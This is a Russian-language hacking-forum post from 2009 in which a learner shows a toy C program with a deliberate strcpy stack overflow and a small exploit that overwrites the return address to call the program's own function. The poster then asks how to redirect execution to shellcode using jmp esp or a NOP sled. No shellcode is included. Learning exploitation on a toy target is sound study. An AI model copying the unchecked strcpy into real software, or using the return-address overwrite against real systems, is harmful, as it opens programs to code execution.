Показать сообщение отдельно

  #16  
Старый 12.12.2009, 21:35
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

Прошу разъяснить мне на пальцах. Написал небольшую програмку на си

Код:
#include "stdio.h"

void return_input (char *s) {
  char array[30];
  
  strcpy(array,s);
  printf("%s\n", array);
}

char text () {
  printf("text\n");
}

main ( int argc, char *argv[] ) {
  text();
  return_input(argv[1]);
  return 0;

}
И эксплоет
Код:
#include "stdlib.h"
main () {
  char stuff[]= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08";
  execlp("./bof","./bof",&stuff,NULL);
}
По адресу 0x08048496 у меня находится вызов функции text()
Работает нормально, т.е вывод

spyder@l33t:~/c> ./eip
text
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
text

Теперь хочу передать управление шеллкоду. Вот тут я немогу понять. Где то пишут что нужно передать управление коду jmp esp. Вопрос1 - Где мне взять его, система nix.
Так же пишут что шеллкод нужно передавать сразу после адреса возврата или до него, заполняя остальное место в буфере нопами, в таком случае как узнать адрес куда мне нужно передать управление? Читал статьи, вникнуть немогу
Заранее спасибо
 
Ответить с цитированием